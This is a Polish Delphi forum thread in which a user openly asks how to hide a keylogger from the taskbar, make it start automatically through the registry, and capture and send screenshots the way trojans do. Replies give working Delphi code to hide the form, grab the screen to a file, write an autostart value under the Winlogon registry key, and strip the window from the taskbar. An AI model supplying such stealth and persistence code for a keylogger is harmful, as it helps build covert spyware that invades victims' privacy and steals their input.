delphi - Ukryć program

[klg99]

heyah ;D

mam pytanie <>

Jak ukryć program (keylog) tak aby nie widac go bylo na pasQ zadań i gzdie najlepiej dodac go żeby sie uruchamiał w systemie ( w rejestrze of course )

Z góry dzieX za poMocną dłoń ;D

btw. Jak najprosciej zrobic i wyslac screen na gygy ( tak jak w wiekszosci trojanow )

Pzdr0 ;D

 

[Kornik52]

Application.ShowMainForm:=false;

Ps. Tutaj nie blog.

 

[klg2]

A jak zrobic i przeslac screeny powie ktos ?

 

[tianhao]

<div class='quotetop'>CYTAT("klg2")</div>

A jak zrobic i przeslac screeny powie ktos ?[/b]

lol poszukaj jak sie robi screena i przekonwerteruj go do jpg np
robisz to na jakims komponencie? tzn polaczenie gg jak tak i na gglite to poszukaj jak wyslac obrazek... myslisz ze wszystko za ciebie napiszemy i ci podamy kod gotowy?

 

[bobikrk]

A w ten sposób zrobisz najprostszy zrzut ekranu.

var

  Can: TCanvas;

  B: TBitmap;

begin

  try

 { tworzenie zmiennej }

    Can := TCanvas.Create;

 { przechwycenie uchwytu ekrnau }

    Can.Handle := GetWindowDC(GetDesktopWindow);



 { tworzenie bitmapy }

    B := TBitmap.Create;

    B.Width := Screen.Width;

    B.Height := Screen.Height;

    B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));

    try // zapisz plik

      B.SaveToFile('C:plik.bmp');

   except // w wyniku bledu...

     raise Exception.Create('Bład w zapisie pliku...');

   end;



  finally

    Can.Free;

    B.Free;

  end;

Sposób z http://4programmers.net.

 

[damian0170]

Co do autostartu myśle że tu jest najlepiej:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

uses Registry;

procedure xxxxx;
var
Rej : TRegistry;
begin
Rej:=TRegistry.Create;
Rej.RootKey:=HKEY_LOCAL_MACHINE;
Rej.OpenKey('SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon',true);
Rej.WriteString(NazwaKlucza,TextZawatyWNim);
Rej.CloseKey;
Rej.Free;
end;

 

[damian0170]

A a ukrycie formy z paska :

procedure TForm1.FormCreate(Sender: TObject);
var
ExtendedStyle:Integer;
begin
ExtendedStyle:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,
ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
end;